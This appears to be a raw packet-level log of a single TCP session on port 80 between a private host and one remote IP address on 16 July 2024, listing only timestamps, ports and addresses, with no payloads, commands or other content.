Jul 16, 2024 22:29:50.486834049 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.486851931 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.486886978 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.486901045 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.486920118 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.486955881 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.486963034 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.487096071 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.487128973 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.487147093 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.487160921 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.487193108 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.487214088 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.487226963 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.487258911 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.487273932 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.487306118 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.487340927 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.487354040 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.487518072 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.487550974 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.487566948 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.487585068 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.487617970 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.487633944 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.487651110 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.487684011 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.487699032 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.487716913 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.487750053 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.487763882 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.487785101 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.487817049 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.487829924 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.487850904 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.487900019 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.488081932 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.488114119 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.488147020 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.488158941 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.488179922 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.488213062 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.488226891 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.488246918 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.488279104 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.488291979 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.488312960 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.488348007 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.488363028 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.488384008 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.488430977 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.488785028 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.488818884 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.488851070 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.488864899 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.488884926 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.488918066 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.488933086 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.488949060 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.488981962 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.488997936 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.489015102 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.489048958 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.489062071 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.489080906 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.489115000 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.489135981 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.489146948 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.489180088 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.489207029 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.489213943 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.489247084 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.489253044 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.489279032 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.489311934 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.489326000 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.489347935 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.489398003 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.489610910 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.489644051 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.489677906 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.489692926 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.489711046 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.489743948 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.489758015 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.489774942 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.489806890 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.489826918 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.489840031 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.489872932 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.489886045 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.489907026 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.489939928 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.489953041 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.489970922 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.490004063 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.490020990 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.490036011 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.490070105 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.490082979 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.490102053 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.490135908 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.490148067 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.490166903 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.490211964 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.490390062 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.490439892 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.490469933 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.490488052 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.490504026 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.490536928 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.490550041 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.490571022 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.490602970 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.490618944 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.490638018 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.490670919 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.490684032 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.540994883 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.574285030 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.574371099 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.574417114 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.574426889 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.574461937 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.574493885 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.574508905 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.574531078 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.574573040 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.574582100 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.574634075 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.574666977 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.574682951 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.574702978 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.574736118 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.574754000 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.574769020 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.574801922 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.574815989 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.574841976 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.574889898 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.575155973 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.575186014 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.575221062 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.575234890 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.575257063 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.575290918 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.575304985 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.575324059 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.575359106 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.575376987 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.575630903 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.575664997 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.575679064 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.575699091 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.575732946 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.575745106 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.575767040 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.575799942 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.575814009 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.576098919 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.576132059 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.576157093 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.576184034 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.576216936 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.576235056 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.576251030 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.576282024 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.576294899 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.576317072 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.576349974 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.576366901 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.576381922 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.576416016 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.576426983 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.576451063 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.576498985 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.576508045 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.576543093 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.576580048 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.576586008 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.576816082 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.576864958 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.576894045 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.576927900 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.576961994 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.576977015 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.576994896 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.577043056 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.577066898 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.577101946 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.577135086 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.577148914 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.577169895 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.577214956 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.577255964 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.577287912 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.577321053 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.577342033 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.577353954 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.577388048 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.577400923 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.577421904 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.577454090 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.577470064 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.577487946 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.577521086 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.577536106 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.577553988 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.577588081 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.577598095 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.577620983 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.577652931 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.577666044 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.577687979 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.577719927 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.577730894 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.577775002 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.577804089 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.577821016 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.577836990 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.577868938 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.577896118 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.577903986 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.577950001 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.577955961 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.578008890 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.578042030 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.578061104 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.578074932 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.578108072 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.578125954 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.578140974 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.578174114 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.578181982 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.578206062 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.578239918 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.578253984 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.578273058 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.578305960 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.578319073 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.578334093 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.578367949 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.578377962 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.578401089 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.578438044 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.578449965 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.578475952 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.578507900 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.578526974 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.578541994 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.578574896 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.578584909 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.578607082 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.578635931 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.578655005 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.578669071 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.578702927 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.578710079 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.578736067 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.578769922 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.578782082 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.578816891 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.578850031 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.578857899 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.578886032 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.578927994 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.578938007 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.578970909 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.579004049 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.579019070 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.579039097 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.579071999 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.579080105 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.579121113 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.579163074 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.579171896 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.579195976 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.579231024 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.579242945 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.579263926 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.579298019 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.579305887 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.579330921 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.579364061 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.579371929 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.579396963 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.579430103 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.579436064 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.579463959 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.579499006 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.579509020 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.579529047 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.579564095 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.579570055 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.634833097 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.663049936 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.663094044 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.663149118 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.663151026 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.663187981 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.663223028 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.663238049 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.663275957 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.663310051 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.663324118 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.663363934 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.663410902 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.663418055 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.663455009 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.663487911 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.663502932 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.663537979 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.663570881 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.663584948 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.663606882 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.663640976 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.663652897 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.663677931 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.663726091 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.664006948 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.664061069 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.664093971 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.664112091 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.664146900 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.664180040 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.664196014 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.664213896 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.664248943 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.664259911 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.664282084 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.664329052 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.664365053 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.664393902 CEST	80	49730	23.227.193.59	192.168.2.4
